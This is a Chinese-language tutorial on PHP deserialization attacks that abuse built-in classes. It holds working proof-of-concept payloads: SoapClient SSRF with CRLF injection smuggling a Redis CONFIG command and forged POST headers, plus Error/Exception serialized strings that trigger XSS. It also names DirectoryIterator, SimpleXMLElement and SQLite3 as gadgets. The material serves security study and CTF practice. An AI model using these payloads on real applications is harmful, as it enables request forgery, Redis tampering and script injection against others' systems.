反序列化之PHP原生類的利用


文章圍繞着一個問題,如果在代碼審計中有反序列化點,但是在原本的代碼中找不到pop鏈該如何?
N1CTF有一個無pop鏈的反序列化的題目,其中就是找到php內置類來進行反序列化。

基礎知識

首先還是來回顧一下序列化中的魔術方法,下面也將以此進行分類來進行研究。

當對象被創建的時候調用:__construct
當對象被銷毀的時候調用:__destruct
當對象被當作一個字符串使用時候調用(不僅僅是echo的時候,比如file_exists()判斷也會觸發):__toString
序列化對象之前就調用此方法(其返回需要是一個數組):__sleep
反序列化恢復對象之前就調用此方法:__wakeup
當調用對象中不存在的方法會自動調用此方法:__call

看一下當前php本身內置類有:

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

當然有些類不一定能夠進行反序列化,php中使用了zend_class_unserialize_deny來禁止一些類的反序列化,比如序列化DirectoryIterator的時候。

當然這也和PHP版本也有一些關系,尋找的幾個類中,發現在php5.3以前都是沒有如此的限制。

__call

SoapClient

這個也算是目前被挖掘出來最好用的一個內置類,php5、7都存在此類。

SSRF

<?php
$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

但是它僅限於http/https協議,用處不是很大。

但是這里http頭部還存在crlf漏洞,可以再去drops回顧一下如何通過http來hack redis,Trying to hack Redis via HTTP requests

<?php
$poc = "CONFIG SET dir /root/";
$target = "http://example.com:5555/";
$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa); 
echo urlencode($aaa);

//Test
$c = unserialize($aaa);
$c->notexists();

對於如何發送POST的數據包,這里面還有一個坑,就是content-type的設置,當是可以看到上面的數據包,user_agent的頭部是在content-type的下面,所以我們可以通過SoapClient來設置user_agent,再使用crlf將content-type給往下擠。

來自wupco師傅的poc:

<?php
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);

__toString

Error

適用於php7版本

XSS

開啟報錯的情況下:

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
$c = unserialize($t);
echo $c;

Exception

適用於php5、7版本

XSS

開啟報錯的情況下:

<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);

//Test
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');
echo unserialize($c);

實例化任意類

可調用任意類的時候找__construct的時候一些可用的類:
案例:pornhub某漏洞

可獲取目錄
DirectoryIterator

XXE
SimpleXMLElement

創建空白文件
SQLite3


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM